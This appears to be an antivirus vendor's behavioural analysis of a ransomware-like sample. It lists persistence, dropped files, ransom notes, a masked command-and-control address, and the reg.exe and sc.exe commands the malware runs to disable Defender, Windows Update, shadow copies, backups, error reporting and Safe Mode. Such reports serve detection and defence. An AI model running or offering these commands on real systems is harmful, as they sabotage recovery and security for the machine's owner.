Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchost' = 'C:\12231657331\svchost.exe'
Creates the following services:
- [<HKLM>\SYSTEM\ControlSet001\Services\WinSamSs] 'Start' = '00000002'
Malicious functions:
Creates and executes the following:
- '<SYSTEM32>\lsassvrtdbks.exe'
- 'C:\ProgramData\12231657333\svchost.exe' a "C:\ProgramData\12231657332\122316573318.dll.dlls" "C:\ProgramData\12231657332\122316573318.dll" -dh -ep2 -hp405179801301211846 -m0 -y
- 'C:\ProgramData\12231657335\svchost.exe' -p 20 -q "<SYSTEM32>\wblsys32vt86exkdll.dll" /accepteula
- '<SYSTEM32>\scsvserv.exe'
- '<SYSTEM32>\lsassw86s.exe' -i
- '<SYSTEM32>\lsassw86s.exe'
Executes the following:
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DisableQueue" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DisableArchive" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "DontSendAdditionalData" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "LoggingDisabled" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "ForceQueue" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "CrashDumpEnabled" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' delete HKCU\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl" /v "LogEvent" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting" /v "Disabled" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\LocalDumps" /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "ShowUI" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeShutdownErrs" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchost" /t REG_SZ /d "C:\12231657331\svchost.exe" /f
- '<SYSTEM32>\reg.exe' delete HKLM\System\CurrentControlSet\Control\SafeBoot /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management" /v "ClearPageFileAtShutdown" /t REG_DWORD /d 1 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "DoReport" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "AllOrNone" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "ForceQueueMode" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeMicrosoftApps" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PCHealth\ErrorReporting" /v "IncludeKernelFaults" /t REG_DWORD /d 0 /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\sc.exe' config winmgmt start= "disabled"
- '<SYSTEM32>\sc.exe' config wuauserv start= "disabled"
- '<SYSTEM32>\sc.exe' config SDRSVC start= "disabled"
- '<SYSTEM32>\sc.exe' stop SDRSVC
- '<SYSTEM32>\sc.exe' config VSS start= "disabled"
- '<SYSTEM32>\sc.exe' stop VSS
- '<SYSTEM32>\sc.exe' stop RemoteRegistry
- '<SYSTEM32>\sc.exe' stop winmgmt
- '<SYSTEM32>\sc.exe' config RemoteRegistry start= "disabled"
- '<SYSTEM32>\sc.exe' stop swprv
- '<SYSTEM32>\sc.exe' config Acronis VSS Provider start= "disabled"
- '<SYSTEM32>\sc.exe' config swprv start= "disabled"
- '<SYSTEM32>\reg.exe' delete HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\reg.exe' delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
- '<SYSTEM32>\sc.exe' config MsMpSvc start= "disabled"
- '<SYSTEM32>\sc.exe' stop MsMpSvc
- '<SYSTEM32>\sc.exe' stop SCVSSService
- '<SYSTEM32>\sc.exe' stop Acronis VSS Provider
- '<SYSTEM32>\sc.exe' config SCVSSService start= "disabled"
Modifies file system :
Creates the following files:
- C:\ProgramData\12231657332\122316573310.txt
- C:\ProgramData\12231657334\12231657337.dlls
- %ALLUSERSPROFILE%\Desktop\165749.lnk
- %ALLUSERSPROFILE%\Desktop\122316573311.lnk
- C:\ProgramData\12231657332\122316573311.bat
- C:\ProgramData\12231657333\svchost.exe
- C:\12231657336\howtodecryptaesfiles.htm
- C:\ProgramData\12231657335\svchost.exe
- C:\ProgramData\12231657332\122316573318.dll
- C:\ProgramData\12231657334\12231657338.dlls
- C:\ProgramData\12231657334\S2_12231658114514.dlls
- C:\ProgramData\12231657334\BK2_12231658117823.dlls
- C:\ProgramData\12231657334\BK1_12231658117823.dlls
- C:\ProgramData\12231657334\S1_12231658111209.dlls
- C:\ProgramData\12231657334\DB1_12231658118952.dlls
- C:\12231657336\howtodecryptaesfiles2.htm
- %ALLUSERSPROFILE%\Desktop\NOT_SNT.ntuser.dat.crashlog.txt
- C:\ProgramData\12231657332\122316573314.dll
- C:\RECYCLER\S-1-5-18\INFO2
- C:\RECYCLER\S-1-5-18\desktop.ini
- <SYSTEM32>\kblockdll.dll
- <SYSTEM32>\cfwin32.dll
- <SYSTEM32>\sdelete.dll
- <SYSTEM32>\kblockdll.lib
- <SYSTEM32>\wblsys32vt86exkdll.dll
- <SYSTEM32>\btlogoffusrsmtv.bat
- <SYSTEM32>\decryptaesfiles.htm
- <SYSTEM32>\lsassvrtdbks.exe
- <SYSTEM32>\scsvserv.exe
- <SYSTEM32>\lsassw86s.exe
- C:\ProgramData\fdst751298123\lsass86vl.exe
- C:\ProgramData\svcfnmainstvestvs\stppthmainfv.dll
- C:\bootsvs.ini
- C:\12231657331\svchost.exe
- C:\boot.ini
- <SYSTEM32>\kblockdll.exp
- <SYSTEM32>\backgrounds2.bmp
- <SYSTEM32>\default2.sfx
- <SYSTEM32>\d3d9caps.tmp
- <SYSTEM32>\d3d9caps.dat
Sets the 'hidden' attribute to the following files:
- C:\ProgramData\12231657333\svchost.exe
- C:\ProgramData\12231657335\svchost.exe
- C:\RECYCLER\S-1-5-18\desktop.ini
- C:\ProgramData\svcfnmainstvestvs\stppthmainfv.dll
- C:\ProgramData\fdst751298123\lsass86vl.exe
- C:\12231657331\svchost.exe
Deletes the following files:
- C:\12231657336\howtodecryptaesfiles.htm
- C:\12231657336\howtodecryptaesfiles2.htm
- C:\RECYCLER\S-1-5-18\desktop.ini
- <SYSTEM32>\d3d9caps.dat
- C:\bootsvs.ini
- %WINDIR%ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ.ZZZ
Moves the following files:
- from %WINDIR%PPPPPPPPPPPPPPPPPPPPPPPPPPPP.PPP to %WINDIR%QQQQQQQQQQQQQQQQQQQQQQQQQQQQ.QQQ
- from %WINDIR%QQQQQQQQQQQQQQQQQQQQQQQQQQQQ.QQQ to %WINDIR%RRRRRRRRRRRRRRRRRRRRRRRRRRRR.RRR
- from %WINDIR%RRRRRRRRRRRRRRRRRRRRRRRRRRRR.RRR to %WINDIR%SSSSSSSSSSSSSSSSSSSSSSSSSSSS.SSS
- from %WINDIR%MMMMMMMMMMMMMMMMMMMMMMMMMMMM.MMM to %WINDIR%NNNNNNNNNNNNNNNNNNNNNNNNNNNN.NNN
- from %WINDIR%NNNNNNNNNNNNNNNNNNNNNNNNNNNN.NNN to %WINDIR%OOOOOOOOOOOOOOOOOOOOOOOOOOOO.OOO
- from %WINDIR%OOOOOOOOOOOOOOOOOOOOOOOOOOOO.OOO to %WINDIR%PPPPPPPPPPPPPPPPPPPPPPPPPPPP.PPP
- from %WINDIR%SSSSSSSSSSSSSSSSSSSSSSSSSSSS.SSS to %WINDIR%TTTTTTTTTTTTTTTTTTTTTTTTTTTT.TTT
- from %WINDIR%WWWWWWWWWWWWWWWWWWWWWWWWWWWW.WWW to %WINDIR%XXXXXXXXXXXXXXXXXXXXXXXXXXXX.XXX
- from %WINDIR%XXXXXXXXXXXXXXXXXXXXXXXXXXXX.XXX to %WINDIR%YYYYYYYYYYYYYYYYYYYYYYYYYYYY.YYY
- from %WINDIR%YYYYYYYYYYYYYYYYYYYYYYYYYYYY.YYY to %WINDIR%ZZZZZZZZZZZZZZZZZZZZZZZZZZZZ.ZZZ
- from %WINDIR%TTTTTTTTTTTTTTTTTTTTTTTTTTTT.TTT to %WINDIR%UUUUUUUUUUUUUUUUUUUUUUUUUUUU.UUU
- from %WINDIR%UUUUUUUUUUUUUUUUUUUUUUUUUUUU.UUU to %WINDIR%VVVVVVVVVVVVVVVVVVVVVVVVVVVV.VVV
- from %WINDIR%VVVVVVVVVVVVVVVVVVVVVVVVVVVV.VVV to %WINDIR%WWWWWWWWWWWWWWWWWWWWWWWWWWWW.WWW
- from %WINDIR%LLLLLLLLLLLLLLLLLLLLLLLLLLLL.LLL to %WINDIR%MMMMMMMMMMMMMMMMMMMMMMMMMMMM.MMM
- from %WINDIR%BBBBBBBBBBBBBBBBBBBBBBBBBBBB.BBB to %WINDIR%CCCCCCCCCCCCCCCCCCCCCCCCCCCC.CCC
- from %WINDIR%CCCCCCCCCCCCCCCCCCCCCCCCCCCC.CCC to %WINDIR%DDDDDDDDDDDDDDDDDDDDDDDDDDDD.DDD
- from %WINDIR%DDDDDDDDDDDDDDDDDDDDDDDDDDDD.DDD to %WINDIR%EEEEEEEEEEEEEEEEEEEEEEEEEEEE.EEE
- from <SYSTEM32>\d3d9caps.tmp to <SYSTEM32>\d3d9caps.dat
- from <SYSTEM32>\wblsys32vt86exkdll.dll to %WINDIR%AAAAAAAAAAAAAAAAAAAAAAAAAAAA.AAA
- from %WINDIR%AAAAAAAAAAAAAAAAAAAAAAAAAAAA.AAA to %WINDIR%BBBBBBBBBBBBBBBBBBBBBBBBBBBB.BBB
- from %WINDIR%EEEEEEEEEEEEEEEEEEEEEEEEEEEE.EEE to %WINDIR%FFFFFFFFFFFFFFFFFFFFFFFFFFFF.FFF
- from %WINDIR%IIIIIIIIIIIIIIIIIIIIIIIIIIII.III to %WINDIR%JJJJJJJJJJJJJJJJJJJJJJJJJJJJ.JJJ
- from %WINDIR%JJJJJJJJJJJJJJJJJJJJJJJJJJJJ.JJJ to %WINDIR%KKKKKKKKKKKKKKKKKKKKKKKKKKKK.KKK
- from %WINDIR%KKKKKKKKKKKKKKKKKKKKKKKKKKKK.KKK to %WINDIR%LLLLLLLLLLLLLLLLLLLLLLLLLLLL.LLL
- from %WINDIR%FFFFFFFFFFFFFFFFFFFFFFFFFFFF.FFF to %WINDIR%GGGGGGGGGGGGGGGGGGGGGGGGGGGG.GGG
- from %WINDIR%GGGGGGGGGGGGGGGGGGGGGGGGGGGG.GGG to %WINDIR%HHHHHHHHHHHHHHHHHHHHHHHHHHHH.HHH
- from %WINDIR%HHHHHHHHHHHHHHHHHHHHHHHHHHHH.HHH to %WINDIR%IIIIIIIIIIIIIIIIIIIIIIIIIIII.III
Network activity:
Connects to:
- '17#.#02.38.67':8080
Miscellaneous:
Searches for the following windows:
- ClassName: 'SysListView32' WindowName: '(null)'
- ClassName: 'Indicator' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
